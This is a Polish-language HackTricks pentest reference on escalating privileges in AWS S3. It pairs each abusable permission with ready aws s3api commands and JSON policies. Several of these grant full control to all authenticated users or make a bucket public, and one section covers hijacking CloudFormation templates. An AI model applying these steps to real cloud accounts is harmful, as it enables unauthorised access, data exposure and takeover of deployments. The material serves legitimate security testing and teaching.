AWS - S3 Privesc

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Atakujący posiadający te uprawnienia do interesujących kubełków może przejąć zasoby i eskalować uprawnienia.

Na przykład atakujący posiadający te uprawnienia do kubełka cloudformation o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie mógł przejąć wdrożenie. Dostęp może zostać udzielony za pomocą następującej polityki:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

I możliwe jest przejęcie kontroli, ponieważ istnieje krótkie okno czasowe od momentu przesłania szablonu do kubełka do momentu wdrożenia szablonu. Atakujący może po prostu utworzyć funkcję lambda w swoim koncie, która zostanie uruchomiona, gdy zostanie wysłane powiadomienie o kubełku, i przejąć kontrolę nad zawartością tego kubełka.

Moduł Pacu cfn__resouce_injection może być użyty do zautomatyzowania tego ataku. Aby uzyskać więcej informacji, sprawdź oryginalne badania: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

To uprawnienia do pobierania i przesyłania obiektów do S3. Wiele usług w AWS (i poza nim) używa magazynu S3 do przechowywania plików konfiguracyjnych. Atakujący mający dostęp do odczytu do nich może znaleźć na nich wrażliwe informacje. Atakujący mający dostęp do zapisu do nich mógłby zmodyfikować dane, aby nadużyć pewnej usługi i spróbować eskalacji uprawnień. Oto kilka przykładów:

  • Jeśli instancja EC2 przechowuje dane użytkownika w kubełku S3, atakujący mógłby je zmodyfikować, aby wykonać dowolny kod wewnątrz instancji EC2.

s3:PutBucketPolicy

Atakujący, który musi być z tego samego konta, jeśli nie, pojawi się błąd The specified method is not allowed, z tym uprawnieniem będzie mógł nadać sobie więcej uprawnień do kubełków, pozwalając mu na odczyt, zapis, modyfikację, usuwanie i ujawnianie kubełków.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Atakujący mógłby nadużyć tych uprawnień, aby przyznać sobie większy dostęp do określonych kubełków. Należy zauważyć, że atakujący nie musi pochodzić z tego samego konta. Ponadto uzyskuje dostęp do zapisu.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Atakujący mógłby wykorzystać te uprawnienia do przyznania sobie większego dostępu do określonych obiektów wewnątrz kubełków.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Atakujący posiadający te uprawnienia powinien móc dodać Acl do określonej wersji obiektu

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated